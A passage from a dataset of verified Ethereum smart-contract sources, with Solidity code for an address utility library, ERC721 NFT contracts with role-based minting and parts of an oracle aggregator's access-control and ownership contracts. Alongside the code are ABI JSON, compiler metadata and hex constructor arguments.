* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | 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| v0.8.0+commit.c7dfd78e | false | 200 | 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| Default | MIT | false | ipfs://97522b25adca279b8022173f9412dae10984aacdf9d0f421c68d6c9eae97bd66 |
||
SniftieERC721IPFS | ERC721PresetMinterPauserAutoId.sol | 0x9e28eb03f8cf22f3beb151d8bd8db2f4a79e22dc | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./ERC721Burnable.sol";
import "./ERC721Pausable.sol";
import "./AccessControlEnumerable.sol";
import "./Context.sol";
import "./Counters.sol";
/**
* @dev {ERC721} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
* - token ID and URI autogeneration
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract ERC721PresetMinterPauserAutoId is Context, AccessControlEnumerable, ERC721Enumerable, ERC721Burnable, ERC721Pausable {
using Counters for Counters.Counter;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
Counters.Counter private _tokenIdTracker;
mapping(string => uint8) hashes;
string private _baseTokenURI;
mapping (uint256 => string) private _tokenURIs;
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* Token URIs will be autogenerated based on `baseURI` and their token IDs.
* See {ERC721-tokenURI}.
*/
constructor(string memory name, string memory symbol, string memory baseTokenURI) ERC721(name, symbol) {
_baseTokenURI = baseTokenURI;
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return base;
}
/**
* @dev Creates a new token for `to`. Its token ID will be automatically
* assigned (and available on the emitted {IERC721-Transfer} event), and the token
* URI autogenerated based on the base URI passed at construction.
*
* See {ERC721-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, string memory hash, string memory metadata) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have minter role to mint");
require(hashes[hash] != 1, "Hash value has already been used");
hashes[hash] = 1;
// We cannot just use balanceOf to create the new tokenId because tokens
// can be burned (destroyed), so we need a separate counter.
_tokenIdTracker.increment();
uint256 newItemId = _tokenIdTracker.current();
_mint(to, newItemId);
_setTokenURI(newItemId, metadata);
// return newItemId
}
/**
* @dev Pauses all token transfers.
*
* See {ERC721Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC721Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
super._beforeTokenTransfer(from, to, tokenId);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerable, ERC721, ERC721Enumerable) returns (bool) {
return super.supportsInterface(interfaceId);
}
} | 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| v0.8.0+commit.c7dfd78e | false | 200 | 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| Default | MIT | false | ipfs://97522b25adca279b8022173f9412dae10984aacdf9d0f421c68d6c9eae97bd66 |
||
SniftieERC721IPFS | SniftieERC721IPFS.sol | 0x9e28eb03f8cf22f3beb151d8bd8db2f4a79e22dc | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./ERC721Burnable.sol";
import "./ERC721Pausable.sol";
import "./AccessControlEnumerable.sol";
import "./Context.sol";
import "./Counters.sol";
/**
* @dev {ERC721} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
* - token ID and URI autogeneration
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract SniftieERC721IPFS is Context, AccessControlEnumerable, ERC721Enumerable, ERC721Burnable, ERC721Pausable {
using Counters for Counters.Counter;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
Counters.Counter private _tokenIdTracker;
mapping(string => uint8) hashes;
string private _baseTokenURI;
string private _contractMetadataURI;
mapping (uint256 => string) private _tokenURIs;
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* Token URIs will be autogenerated based on `baseURI` and their token IDs.
* See {ERC721-tokenURI}.
*/
constructor(string memory name, string memory symbol, string memory baseTokenURI, address sniftieMinterContract, string memory contractMetadataURI) ERC721(name, symbol) {
_baseTokenURI = baseTokenURI;
_contractMetadataURI = contractMetadataURI;
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
_setupRole(MINTER_ROLE, sniftieMinterContract);
}
function contractURI() public view returns (string memory) {
return _contractMetadataURI;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string memory baseURI) public {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "Must have DEFAULT_ADMIN_ROLE to set base uri");
_baseTokenURI = baseURI;
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return base;
}
/**
* @dev Creates a new token for `to`. Its token ID will be automatically
* assigned (and available on the emitted {IERC721-Transfer} event), and the token
* URI autogenerated based on the base URI passed at construction.
*
* See {ERC721-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, string memory hash, string memory metadata) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have minter role to mint");
require(hashes[hash] != 1, "Hash value has already been used");
hashes[hash] = 1;
// We cannot just use balanceOf to create the new tokenId because tokens
// can be burned (destroyed), so we need a separate counter.
_tokenIdTracker.increment();
uint256 newItemId = _tokenIdTracker.current();
_mint(to, newItemId);
_setTokenURI(newItemId, metadata);
// return newItemId
}
/**
* @dev Pauses all token transfers.
*
* See {ERC721Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC721Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
super._beforeTokenTransfer(from, to, tokenId);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerable, ERC721, ERC721Enumerable) returns (bool) {
return super.supportsInterface(interfaceId);
}
} | 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| v0.8.0+commit.c7dfd78e | false | 200 | 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| Default | MIT | false | ipfs://97522b25adca279b8022173f9412dae10984aacdf9d0f421c68d6c9eae97bd66 |
||
AccessControlledOffchainAggregator | contract/src/SimpleReadAccessController.sol | 0xe0db9705faf02cdb35d9bc795deb7e3dca94bada | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
import "./SimpleWriteAccessController.sol";
/**
* @title SimpleReadAccessController
* @notice Gives access to:
* - any externally owned account (note that offchain actors can always read
* any contract storage regardless of onchain access control measures, so this
* does not weaken the access control while improving usability)
* - accounts explicitly added to an access list
* @dev SimpleReadAccessController is not suitable for access controlling writes
* since it grants any externally owned account access! See
* SimpleWriteAccessController for that.
*/
contract SimpleReadAccessController is SimpleWriteAccessController {
/**
* @notice Returns the access of an address
* @param _user The address to query
*/
function hasAccess(
address _user,
bytes memory _calldata
)
public
view
virtual
override
returns (bool)
{
return super.hasAccess(_user, _calldata) || _user == tx.origin;
}
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AccessControlledOffchainAggregator | contract/src/AccessControllerInterface.sol | 0xe0db9705faf02cdb35d9bc795deb7e3dca94bada | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface AccessControllerInterface {
function hasAccess(address user, bytes calldata data) external view returns (bool);
} | [{"inputs":[{"internalType":"uint32","name":"_maximumGasPrice","type":"uint32"},{"internalType":"uint32","name":"_reasonableGasPrice","type":"uint32"},{"internalType":"uint32","name":"_microLinkPerEth","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerObservation","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerTransmission","type":"uint32"},{"internalType":"contract LinkTokenInterface","name":"_link","type":"address"},{"internalType":"int192","name":"_minAnswer","type":"int192"},{"internalType":"int192","name":"_maxAnswer","type":"int192"},{"internalType":"contract AccessControllerInterface","name":"_billingAccessController","type":"address"},{"internalType":"contract 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AccessControllerInterface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint32","name":"_maximumGasPrice","type":"uint32"},{"internalType":"uint32","name":"_reasonableGasPrice","type":"uint32"},{"internalType":"uint32","name":"_microLinkPerEth","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerObservation","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerTransmission","type":"uint32"}],"name":"setBilling","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract AccessControllerInterface","name":"_billingAccessController","type":"address"}],"name":"setBillingAccessController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_signers","type":"address[]"},{"internalType":"address[]","name":"_transmitters","type":"address[]"},{"internalType":"uint8","name":"_threshold","type":"uint8"},{"internalType":"uint64","name":"_encodedConfigVersion","type":"uint64"},{"internalType":"bytes","name":"_encoded","type":"bytes"}],"name":"setConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract LinkTokenInterface","name":"_linkToken","type":"address"},{"internalType":"address","name":"_recipient","type":"address"}],"name":"setLinkToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_transmitters","type":"address[]"},{"internalType":"address[]","name":"_payees","type":"address[]"}],"name":"setPayees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract AccessControllerInterface","name":"_requesterAccessController","type":"address"}],"name":"setRequesterAccessController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract AggregatorValidatorInterface","name":"_newValidator","type":"address"},{"internalType":"uint32","name":"_newGasLimit","type":"uint32"}],"name":"setValidatorConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_transmitter","type":"address"},{"internalType":"address","name":"_proposed","type":"address"}],"name":"transferPayeeship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"_report","type":"bytes"},{"internalType":"bytes32[]","name":"_rs","type":"bytes32[]"},{"internalType":"bytes32[]","name":"_ss","type":"bytes32[]"},{"internalType":"bytes32","name":"_rawVs","type":"bytes32"}],"name":"transmit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transmitters","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"typeAndVersion","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"validatorConfig","outputs":[{"internalType":"contract AggregatorValidatorInterface","name":"validator","type":"address"},{"internalType":"uint32","name":"gasLimit","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_transmitter","type":"address"}],"name":"withdrawPayment","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.7.6+commit.7338295f | true | 20,000 | 00000000000000000000000000000000000000000000000000000000000007d0000000000000000000000000000000000000000000000000000000000000006400000000000000000000000000000000000000000000000000000000076914580000000000000000000000000000000000000000000000000000000000b688840000000000000000000000000000000000000000000000000000000004473318000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca00000000000000000000000000000000000000000000000000000000000f424000000000000000000000000000000000000000000000000000000002540be4000000000000000000000000009db83cef9f68b63989e4e82d65d549e7ff2acda9000000000000000000000000641b698ad1c6e503470520b0eecb472c0589dfe6000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000000000000000009424e54202f205553440000000000000000000000000000000000000000000000 | Default | MIT | false | |||
AccessControlledOffchainAggregator | contract/src/Owned.sol | 0xe0db9705faf02cdb35d9bc795deb7e3dca94bada | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @title The Owned contract
* @notice A contract with helpers for basic contract ownership.
*/
contract Owned {
address payable public owner;
address private pendingOwner;
event OwnershipTransferRequested(
address indexed from,
address indexed to
);
event OwnershipTransferred(
address indexed from,
address indexed to
);
constructor() {
owner = msg.sender;
}
/**
* @dev Allows an owner to begin transferring ownership to a new address,
* pending.
*/
function transferOwnership(address _to)
external
onlyOwner()
{
pendingOwner = _to;
emit OwnershipTransferRequested(owner, _to);
}
/**
* @dev Allows an ownership transfer to be completed by the recipient.
*/
function acceptOwnership()
external
{
require(msg.sender == pendingOwner, "Must be proposed owner");
address oldOwner = owner;
owner = msg.sender;
pendingOwner = address(0);
emit OwnershipTransferred(oldOwner, msg.sender);
}
/**
* @dev Reverts if called by anyone other than the contract owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Only callable by owner");
_;
}
} | [{"inputs":[{"internalType":"uint32","name":"_maximumGasPrice","type":"uint32"},{"internalType":"uint32","name":"_reasonableGasPrice","type":"uint32"},{"internalType":"uint32","name":"_microLinkPerEth","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerObservation","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerTransmission","type":"uint32"},{"internalType":"contract LinkTokenInterface","name":"_link","type":"address"},{"internalType":"int192","name":"_minAnswer","type":"int192"},{"internalType":"int192","name":"_maxAnswer","type":"int192"},{"internalType":"contract AccessControllerInterface","name":"_billingAccessController","type":"address"},{"internalType":"contract AccessControllerInterface","name":"_requesterAccessController","type":"address"},{"internalType":"uint8","name":"_decimals","type":"uint8"},{"internalType":"string","name":"description","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"}],"name":"AddedAccess","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"int256","name":"current","type":"int256"},{"indexed":true,"internalType":"uint256","name":"roundId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updatedAt","type":"uint256"}],"name":"AnswerUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"contract AccessControllerInterface","name":"old","type":"address"},{"indexed":false,"internalType":"contract AccessControllerInterface","name":"current","type":"address"}],"name":"BillingAccessControllerSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint32","name":"maximumGasPrice","type":"uint32"},{"indexed":false,"internalType":"uint32","name":"reasonableGasPrice","type":"uint32"},{"indexed":false,"internalType":"uint32","name":"microLinkPerEth","type":"uint32"},{"indexed":false,"internalType":"uint32","name":"linkGweiPerObservation","type":"uint32"},{"indexed":false,"internalType":"uint32","name":"linkGweiPerTransmission","type":"uint32"}],"name":"BillingSet","type":"event"},{"anonymous":false,"inputs":[],"name":"CheckAccessDisabled","type":"event"},{"anonymous":false,"inputs":[],"name":"CheckAccessEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint32","name":"previousConfigBlockNumber","type":"uint32"},{"indexed":false,"internalType":"uint64","name":"configCount","type":"uint64"},{"indexed":false,"internalType":"address[]","name":"signers","type":"address[]"},{"indexed":false,"internalType":"address[]","name":"transmitters","type":"address[]"},{"indexed":false,"internalType":"uint8","name":"threshold","type":"uint8"},{"indexed":false,"internalType":"uint64","name":"encodedConfigVersion","type":"uint64"},{"indexed":false,"internalType":"bytes","name":"encoded","type":"bytes"}],"name":"ConfigSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract LinkTokenInterface","name":"_oldLinkToken","type":"address"},{"indexed":true,"internalType":"contract LinkTokenInterface","name":"_newLinkToken","type":"address"}],"name":"LinkTokenSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roundId","type":"uint256"},{"indexed":true,"internalType":"address","name":"startedBy","type":"address"},{"indexed":false,"internalType":"uint256","name":"startedAt","type":"uint256"}],"name":"NewRound","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint32","name":"aggregatorRoundId","type":"uint32"},{"indexed":false,"internalType":"int192","name":"answer","type":"int192"},{"indexed":false,"internalType":"address","name":"transmitter","type":"address"},{"indexed":false,"internalType":"int192[]","name":"observations","type":"int192[]"},{"indexed":false,"internalType":"bytes","name":"observers","type":"bytes"},{"indexed":false,"internalType":"bytes32","name":"rawReportContext","type":"bytes32"}],"name":"NewTransmission","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"transmitter","type":"address"},{"indexed":true,"internalType":"address","name":"payee","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":true,"internalType":"contract LinkTokenInterface","name":"linkToken","type":"address"}],"name":"OraclePaid","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"OwnershipTransferRequested","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"transmitter","type":"address"},{"indexed":true,"internalType":"address","name":"current","type":"address"},{"indexed":true,"internalType":"address","name":"proposed","type":"address"}],"name":"PayeeshipTransferRequested","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"transmitter","type":"address"},{"indexed":true,"internalType":"address","name":"previous","type":"address"},{"indexed":true,"internalType":"address","name":"current","type":"address"}],"name":"PayeeshipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"}],"name":"RemovedAccess","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"contract AccessControllerInterface","name":"old","type":"address"},{"indexed":false,"internalType":"contract AccessControllerInterface","name":"current","type":"address"}],"name":"RequesterAccessControllerSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"requester","type":"address"},{"indexed":false,"internalType":"bytes16","name":"configDigest","type":"bytes16"},{"indexed":false,"internalType":"uint32","name":"epoch","type":"uint32"},{"indexed":false,"internalType":"uint8","name":"round","type":"uint8"}],"name":"RoundRequested","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract AggregatorValidatorInterface","name":"previousValidator","type":"address"},{"indexed":false,"internalType":"uint32","name":"previousGasLimit","type":"uint32"},{"indexed":true,"internalType":"contract AggregatorValidatorInterface","name":"currentValidator","type":"address"},{"indexed":false,"internalType":"uint32","name":"currentGasLimit","type":"uint32"}],"name":"ValidatorConfigSet","type":"event"},{"inputs":[],"name":"acceptOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_transmitter","type":"address"}],"name":"acceptPayeeship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"addAccess","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"billingAccessController","outputs":[{"internalType":"contract AccessControllerInterface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"description","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableAccessCheck","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableAccessCheck","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_roundId","type":"uint256"}],"name":"getAnswer","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBilling","outputs":[{"internalType":"uint32","name":"maximumGasPrice","type":"uint32"},{"internalType":"uint32","name":"reasonableGasPrice","type":"uint32"},{"internalType":"uint32","name":"microLinkPerEth","type":"uint32"},{"internalType":"uint32","name":"linkGweiPerObservation","type":"uint32"},{"internalType":"uint32","name":"linkGweiPerTransmission","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLinkToken","outputs":[{"internalType":"contract LinkTokenInterface","name":"linkToken","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint80","name":"_roundId","type":"uint80"}],"name":"getRoundData","outputs":[{"internalType":"uint80","name":"roundId","type":"uint80"},{"internalType":"int256","name":"answer","type":"int256"},{"internalType":"uint256","name":"startedAt","type":"uint256"},{"internalType":"uint256","name":"updatedAt","type":"uint256"},{"internalType":"uint80","name":"answeredInRound","type":"uint80"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_roundId","type":"uint256"}],"name":"getTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bytes","name":"_calldata","type":"bytes"}],"name":"hasAccess","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestAnswer","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestConfigDetails","outputs":[{"internalType":"uint32","name":"configCount","type":"uint32"},{"internalType":"uint32","name":"blockNumber","type":"uint32"},{"internalType":"bytes16","name":"configDigest","type":"bytes16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestRound","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestRoundData","outputs":[{"internalType":"uint80","name":"roundId","type":"uint80"},{"internalType":"int256","name":"answer","type":"int256"},{"internalType":"uint256","name":"startedAt","type":"uint256"},{"internalType":"uint256","name":"updatedAt","type":"uint256"},{"internalType":"uint80","name":"answeredInRound","type":"uint80"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestTransmissionDetails","outputs":[{"internalType":"bytes16","name":"configDigest","type":"bytes16"},{"internalType":"uint32","name":"epoch","type":"uint32"},{"internalType":"uint8","name":"round","type":"uint8"},{"internalType":"int192","name":"latestAnswer","type":"int192"},{"internalType":"ui